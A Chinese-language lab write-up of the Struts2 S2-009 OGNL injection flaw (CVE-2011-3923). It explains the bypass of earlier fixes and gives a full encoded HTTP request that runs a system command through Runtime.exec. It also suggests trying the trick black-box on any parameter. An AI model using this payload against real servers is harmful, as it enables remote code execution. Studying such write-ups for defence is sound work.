<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    S2-009 遠程代碼執行漏洞 (CVE-2011-3923)

    Path struts2/s2-009

    影響版本: 2.1.0 - 2.3.1.1

    漏洞詳情: http://struts.apache.org/docs/s2-009.html

    測試環境搭建

    docker-compose build
    docker-compose up -d
    

    原理

    前置閱讀: 這個漏洞再次來源于s2-003、s2-005。了解該漏洞原理,需要先閱讀s2-005的說明:https://github.com/phith0n/vulhub/blob/master/struts2/s2-005/README.md

    參考Struts2漏洞分析之Ognl表達式特性引發的新思路,文中說到,該引入ognl的方法不光可能出現在這個漏洞中,也可能出現在其他java應用中。

    Struts2對s2-003的修復方法是禁止#號,于是s2-005通過使用編碼\u0023\43來繞過;于是Struts2對s2-005的修復方法是禁止\等特殊符號,使用戶不能提交反斜線。

    但是,如果當前action中接受了某個參數example,這個參數將進入OGNL的上下文。所以,我們可以將OGNL表達式放在example參數中,然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1的方法來執行它,從而繞過官方對#\等特殊字符的防御。

    Exploit構造

    測試環境是一個struts2的“功能展示”網站Struts Showcase,代碼很多,我們的目標是去找一個接受了參數,參數類型是string的action。

    先對S2-009.war進行解壓(我用binwalk,其實直接zip就可以),可見源碼都在WEB-INF/src目錄中,我一般找ajax相關的代碼,這些代碼一般邏輯比較簡單。

    找到一個WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java

    public class Example5Action extends ActionSupport {
    
        private static final long serialVersionUID = 2111967621952300611L;
    
        private String name;
        private Integer age;
    
        public String getName() { return name; }
        public void setName(String name) { this.name = name; }
    
        public Integer getAge() { return age; }
        public void setAge(Integer age) { this.age = age; }
    
        @Override
        public String execute() throws Exception {
            return SUCCESS;
        }
    }

    代碼沒有更簡單了,其接受了name參數并調用setName將其賦值給私有屬性this.name,正是符合我們的要求。然后去WEB-INF/src/java/struts-ajax.xml看一下URL路由:

    <package name="ajax" extends="struts-default">
        ...
        <action name="example5" class="org.apache.struts2.showcase.ajax.Example5Action">
            <result name="input">/ajax/tabbedpanel/example5.jsp</result>
            <result>/ajax/tabbedpanel/example5Ok.jsp</result>
        </action>
        ...
    </package>

    name=example5,所以訪問http://your-ip:8080/ajax/example5.action即可訪問該控制器。按照原理中說到的方法,將OGNL利用代碼放在name參數里,訪問該URL:

    GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1
    Host: localhost:8080
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    

    由于該POC沒有回顯,所以調用的是touch /tmp/success命令,查看/tmp目錄發現已經成功:

    黑盒情況下,這個洞也不是限制特別大。只要你在正常業務中找到傳參的地方,就用該參數名可以試試。

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类